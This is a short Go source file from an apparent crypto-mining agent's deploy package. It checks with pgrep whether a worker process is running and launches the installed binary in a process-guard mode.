//go:build !windows

package deploy

import (
	"os/exec"
	"strings"

	"crypto-miner-agent/config"
)

func workerProcessRunning(imageName string) bool {
	out, err := exec.Command("pgrep", "-x", strings.TrimSuffix(imageName, ".exe")).Output()
	return err == nil && len(strings.TrimSpace(string(out))) > 0
}

func launchProcessGuard(cfg config.RuntimeConfig) {
	binPath, err := InstalledBinaryPath(cfg)
	if err != nil {
		return
	}
	cmd := exec.Command(binPath, guardFlag)
	_ = cmd.Start()
}
